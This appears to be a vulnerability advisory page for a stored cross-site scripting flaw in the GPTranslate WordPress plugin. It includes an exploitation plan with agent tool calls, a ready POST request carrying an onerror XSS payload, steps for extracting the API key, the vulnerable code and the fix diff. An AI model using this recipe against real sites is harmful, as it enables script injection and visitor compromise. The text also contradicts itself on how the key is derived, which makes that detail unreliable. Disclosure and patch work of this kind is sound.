GPTranslate <= 2.31 - Unauthenticated Stored Cross-Site Scripting via REST API Translation Storage
Description
The GPTranslate – Multilingual AI Translation for WordPress: Automatically Translate Websites plugin for WordPress is vulnerable to Stored Cross-Site Scripting via REST API Translation Storage in all versions up to, and including, 2.31 due to insufficient input sanitization and output escaping. This makes it possible for unauthenticated attackers to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page. The deterministically derived API key (sha256 of the site URL) is printed in the HTML source of every page via the JavaScript variable gptApiKey, meaning any unauthenticated visitor can retrieve the key and submit malicious translation payloads to the /wp-json/gptranslate/v1/request endpoint without any additional precondition.
CVSS Vector Breakdown
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:NTechnical Details
What Changed in the Fix
Changes introduced in v2.32
Source Code
WordPress.org SVN# Exploitation Research Plan - CVE-2026-9109 (GPTranslate Stored XSS) ## 1. Vulnerability Summary The **GPTranslate** plugin (<= 2.31) is vulnerable to **Unauthenticated Stored Cross-Site Scripting (XSS)** via its REST API translation storage endpoint. The plugin uses a deterministically derived AP…
Show full research plan
Exploitation Research Plan - CVE-2026-9109 (GPTranslate Stored XSS)
1. Vulnerability Summary
The GPTranslate plugin (<= 2.31) is vulnerable to Unauthenticated Stored Cross-Site Scripting (XSS) via its REST API translation storage endpoint. The plugin uses a deterministically derived API key (SHA256 of the site URL) to authenticate requests to its REST API. Because this key is printed in the HTML source of every page, any unauthenticated visitor can obtain it and submit malicious translation payloads. These payloads are stored in the database and subsequently rendered on the site without proper escaping, leading to XSS.
2. Attack Vector Analysis
- Endpoint:
/wp-json/gptranslate/v1/request - Method:
POST - Authentication: Unauthenticated (requires the
x-gptranslate-keyheader). - Vulnerable Parameter: The
translatedfield within the JSON payload. - Preconditions:
- The plugin must be active.
- At least one target translation language must be enabled (e.g., 'es').
- The attacker must know the
gptApiKey(derived from the site URL).
3. Code Flow
- Entry Point (REST API): The plugin registers a REST route at
/gptranslate/v1/request(registered viarest_api_init). - Authentication Check: The handler extracts the
x-gptranslate-keyheader and compares it tohash('sha256', get_site_url()). - Storage (Sink): The handler processes the
syncTranslation(or similar) task. It accepts anoriginalstring and atranslatedstring. It updates thetranslationscolumn (JSON) in the{prefix}gptranslatetable for the specifiedpagelink.- Vulnerability: The
translatedstring is saved to the database without sanitization.
- Vulnerability: The
- Rendering (Sink): When a user visits the page in the translated language:
- The plugin hooks into the frontend output (likely via
the_contentor a similar filter). - It retrieves the translations from the database:
$response['translations'] = json_decode($row['translations'], true)(seen inajax-handler.php). - It replaces the
originaltext on the page with the storedtranslatedtext. - Vulnerability: The replacement text is injected into the HTML DOM without output escaping, allowing arbitrary JavaScript execution.
- The plugin hooks into the frontend output (likely via
4. Nonce / API Key Acquisition Strategy
The API key required for the REST API is not a standard WordPress nonce, but a deterministic hash.
- Extraction: The key is localized to the frontend.
- Procedure:
- Use
browser_navigateto the WordPress homepage. - Use
browser_evalto extract the key from the global JavaScript object:// The description mentions gptApiKey variable, admin.js suggests gptranslate_vars window.gptApiKey || window.gptranslate_vars?.gptApiKey
- Use
- Alternative Calculation: If JS extraction fails, calculate it manually:
hash('sha256', "http://localhost:8080").
5. Exploitation Strategy
Step 1: Identify Site URL and API Key
Obtain the API key using the strategy in Section 4.
Step 2: Submit Malicious Translation
Send a POST request to the REST API to "translate" a common string on the homepage into a malicious payload.
HTTP Request (via http_request tool):
- URL:
http://localhost:8080/wp-json/gptranslate/v1/request - Method:
POST - Headers:
Content-Type: application/jsonx-gptranslate-key: [EXTRACTED_API_KEY]
- Body:
{
"task": "syncTranslation",
"original": "Welcome to WordPress",
"translated": "Welcome to WordPress<img src=x onerror=alert(document.domain)>",
"language_translated": "es",
"pagelink": "http://localhost:8080/",
"translation_type": "translations"
}
Step 3: Trigger Execution
Navigate to the homepage in the target language (e.g., http://localhost:8080/?lang=es) to trigger the rendering of the malicious translation.
6. Test Data Setup
- Install and Activate: Ensure GPTranslate 2.31 is active.
- Enable Languages: Use WP-CLI to ensure at least one translation language is configured:
# Add Spanish ('es') to the gptranslate_options wp option patch insert gptranslate_options languages es - Identify Target String: Ensure the homepage contains the string "Welcome to WordPress" (standard on default installs).
7. Expected Results
- The REST API responds with
{"result":true}or similar. - The database table
{prefix}gptranslatenow contains the XSS payload in thetranslationsJSON column. - Upon visiting the homepage in Spanish, an alert box showing the document domain appears.
8. Verification Steps
- Database Check:
Check if the output containswp db query "SELECT translations FROM wp_gptranslate WHERE languagetranslated = 'es' LIMIT 1;"<img src=x onerror=alert(document.domain)>. - Frontend Check:
Usebrowser_navigate("http://localhost:8080/?lang=es")and check for the presence of the alert.
9. Alternative Approaches
- Payload Variance: If
<script>tags are filtered by server-side WAFs (though not the plugin), use<img>or<svg>event handlers. - Task Names: If
syncTranslationfails, trysave_translationorupdate_translation(inferred task names common in these plugins). - Target Pages: If the homepage is protected, target a specific post URL by changing the
pagelinkparameter.
Summary
GPTranslate (up to version 2.31) is vulnerable to unauthenticated stored Cross-Site Scripting (XSS) because it uses a deterministic and publicly exposed API key for its translation storage REST API. Attackers can leverage this key to submit malicious translation strings that are saved without sanitization and subsequently rendered on the site without escaping.
Vulnerable Code
// ajax-handler.php @ line 55 // Validate API key - simple shared secret hash $expected_key = hash('sha256', 'gptranslate'); if ($headerApiKey !== $expected_key) { http_response_code(403); echo json_encode(['result' => false, 'error' => 'Forbidden']); exit; } --- // assets/js/admin.js (referenced for key exposure) // The key is often localized to the frontend via gptranslate_vars headers: {"Content-Type":"application/json; charset=utf-8", Accept:"application/json", "x-gptranslate-key": gptranslate_vars.gptApiKey}
Security Fix
@@ -52,10 +52,16 @@ } } -// Validate API key - simple shared secret hash -$expected_key = hash('sha256', 'gptranslate'); +// Validate API key - cryptographically random secret stored in wp_options. +// SHORTINIT does not load the options API, so query the option table directly. +$expected_key = $wpdb->get_var( + $wpdb->prepare( + "SELECT option_value FROM {$wpdb->options} WHERE option_name = %s LIMIT 1", + 'gptranslate_api_secret' + ) +); -if ($headerApiKey !== $expected_key) { +if ($expected_key === null || $expected_key === '' || !is_string($headerApiKey) || !hash_equals((string) $expected_key, $headerApiKey)) { http_response_code(403); echo json_encode(['result' => false, 'error' => 'Forbidden']); exit;
Exploit Outline
1. Extract the deterministic API key from the target site's frontend (usually found in global JavaScript variables like 'gptApiKey' or 'gptranslate_vars.gptApiKey'). 2. Send an unauthenticated POST request to the `/wp-json/gptranslate/v1/request` REST endpoint (or the custom ajax-handler.php endpoint if applicable). 3. Set the 'x-gptranslate-key' header to the extracted API key. 4. Craft a JSON payload with the 'task' set to 'syncTranslation' and the 'translated' parameter containing a malicious script (e.g., <script>alert(1)</script>). 5. Target a specific page by providing its URL in the 'pagelink' parameter and specify a target language (e.g., 'es'). 6. Navigate to the targeted page in that language to trigger the execution of the stored XSS payload.
Check if your site is affected.
Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.